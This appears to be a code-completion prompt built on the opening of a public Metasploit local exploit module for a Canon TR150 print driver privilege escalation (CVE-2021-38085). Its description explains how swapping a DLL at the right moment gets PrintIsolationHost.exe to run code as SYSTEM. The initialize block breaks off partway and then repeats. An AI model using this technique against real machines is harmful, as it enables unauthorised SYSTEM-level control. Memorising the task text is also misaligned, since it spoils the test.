You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: canon_driver_privesc.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/local
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Canon Driver Privilege Escalation',
        'Description' => %q{
          Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files
          within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at
          C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll
          with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs
          script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,
          which runs
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Canon Driver Privilege Escalation',
        'Description' => %q{
          Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files
          within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at
          C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll
          with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs
          script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,
          which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation
          will grant attackers code execution as the NT AUTHORITY\SYSTEM user.

          This module leverages the prnmngr.vbs script
          to add and delete printers. Multiple runs of this
          module may be required given successful exploitation
          is time-sensitive.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jacob Baines', # discovery, PoC, module
          'Shelby Pace' # original Ricoh module
        ],
        'References' => [
          ['CVE', '2021-38085'],
        ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [
            'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
          ]
        ],
        'Notes' => {
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'Stability' => [ SERVICE_RESOURCE_LOSS ]
        },
        'DisclosureDate' => '2021-08-07',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    self.needs_cleanup = true
  end